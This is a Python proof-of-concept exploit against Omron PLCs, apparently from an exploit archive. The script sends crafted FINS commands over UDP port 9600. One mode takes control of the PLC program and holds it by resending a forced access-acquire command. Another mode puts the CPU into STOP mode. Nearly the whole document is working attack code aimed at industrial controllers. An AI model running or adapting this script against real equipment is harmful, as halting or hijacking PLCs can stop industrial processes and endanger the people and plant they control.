Omron PLC 1.0.0 Denial Of Service

`# Exploit Title: Omron PLC 1.0.0 - Denial of Service (PoC)   
# Google Dork: n/a   
# Date: 2019-12-06   
# Exploit Author: n0b0dy   
# Vendor Homepage: https://automation.omron.com, ia.omron.com   
# Software Link: n/a   
# Version: 1.0.0   
# Tested on: PLC f/w rev.: CJ2M (v2.01)   
# CWE-412 : Unrestricted Externally Accessible Lock   
# CVE : n/a   
  
#!usr/bin/python  
  
######################################################################################################  
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# ./sdNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdhmNNho:` #  
# `-/oydNMMMMMMMMMMMMMMMMMMMMMMmhy+:. #  
# `.://+osyyyyyyso+/:-. #  
# #  
# #  
# Exploit Title: Omron PLC: Denial-of-Service as a Feature #  
# Google Dork: n/a #  
# Date: 2019.12.06 #  
# Exploit Author: n0b0dy #  
# Vendor Homepage: https://automation.omron.com, ia.omron.com #  
# Software Link: n/a #  
# Version: 1.0.0 #  
# Tested on: PLC f/w rev.: CJ2M (v2.01) #  
# CWE-412 : Unrestricted Externally Accessible Lock #  
# CVE : n/a #  
# #  
#######################################################################################################  
import sys, signal, socket, time, binascii  
  
nic = socket.gethostbyname(socket.gethostname()) #will fail if hostname = 'hostname'  
  
if len(sys.argv) < 2:  
print "Usage: fins.dos.py [arg.] {target ip} {target port[9600]}"  
print "--pwn Hijack control of PLC program."  
print "--stop Stop PLC CPU."  
  
else:  
ip = sys.argv[2]  
  
try:  
port = sys.argv[3]  
except:  
port = 9600  
  
def ip_validate(ip):  
a = ip.split('.')  
if len(a) != 4:  
return False  
for x in a:  
if not x.isdigit():  
return False  
i = int(x)  
if i < 0 or i > 255:  
return False  
return True  
  
#fins header  
icf = '\x80' #info control field (flags); 80=resp req, 81=resp not req  
rsv = '\x00' #reserved  
gct = '\x02' #gateway count  
dna = '\x00' #dest net addr  
idnn = ip[-1:] #dest node no (last digit of target ip)  
dnn_i = '0' + idnn  
dnn = binascii.a2b_hex(dnn_i)  
dua = '\x00' #dest unit addr  
sna = '\x00' #source net addr  
isnn = nic[-1:] #source node no (last digit of own ip)  
snn_i = '0' + isnn  
snn = binascii.a2b_hex(snn_i)  
sua = '\x00' #source unit addr  
sid = '\x7a' #service ID  
fins_hdr = icf + rsv + gct + dna + dnn + dua + sna + snn + sua + sid  
  
#FINS command acceptance code  
fins_ok = '\x00'  
#Verify PLC type  
CmdMRst1 = binascii.a2b_hex("05")  
CmdSRst1 = binascii.a2b_hex("01")  
Cmdst1 =\  
fins_hdr + CmdMRst1 + CmdSRst1 + '\x00'  
print "Probing PLC... " + '\t'  
s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
s1.sendto(Cmdst1, (ip, port))  
print "Finished." + '\r\n'  
s1fins_resp = s1.recvfrom(1024)  
s1fins_resp_b = bytes(s1fins_resp[0])  
if s1fins_resp_b[12] == fins_ok and s1fins_resp_b[13] == fins_ok:  
print "FINS target is exploitable: "  
print s1fins_resp_b[14:39]  
else:  
print "FINS target not exploitable."  
print "FINS response from target: ", s1fins_resp  
  
if sys.argv[1] == "--pwn":  
  
#access right forced acquire  
PgmNo = '\xff'  
CmdMRst2 = binascii.a2b_hex("0c")  
CmdSRst2 = binascii.a2b_hex("02")  
Cmdst2 =\  
fins_hdr + CmdMRst2 + CmdSRst2 + PgmNo + PgmNo  
reqdly = 1  
persist = 1  
pwnage = 0  
print "Obtaining control of PLC program..." + '\r\n'  
while persist == 1:  
try:  
s2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
time.sleep(reqdly)  
s2.sendto(Cmdst2, (ip, port))  
s2fins_resp = s2.recvfrom(1024)  
s2fins_resp_b = bytes(s2fins_resp[0])  
if s2fins_resp_b[12] == fins_ok and s2fins_resp_b[13] == fins_ok:  
pwnage += 1  
pwntime = str(pwnage)  
sys.stdout.write('\r' + "Pwnage in progress! " + "duration: " + pwntime + " sec.")  
sys.stdout.flush()  
else:  
print "Attack unsuccessful. ", '\r\n'  
print "FINS error code: ", s2fins_resp  
except socket.error as e:  
print socket.error  
s2.close()  
except KeyboardInterrupt:  
persist = 0  
print '\r', " Attack interrupted by user."  
s2.close()  
  
elif sys.argv[1] == "--stop":  
#change OP Mode  
CmdMRst3 = binascii.a2b_hex("04")  
CmdSRst3 = binascii.a2b_hex("02")  
Cmdst3 =\  
fins_hdr + CmdMRst3 + CmdSRst3  
print "Stopping PLC (just for fun)... " + '\t'  
s3 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
s3.sendto(Cmdst3, (ip, port))  
print "Finished. "  
s3fins_resp = s3.recvfrom(1024)  
s3fins_resp_b = bytes(s3fins_resp[0])  
if s3fins_resp_b[12] == fins_ok and s3fins_resp_b[13] == fins_ok:  
print "PLC CPU STOP mode confirmed. "  
else:  
print "Attack unsuccessful. ", '\r\n'  
print "FINS response from target: ", s3fins_resp  
`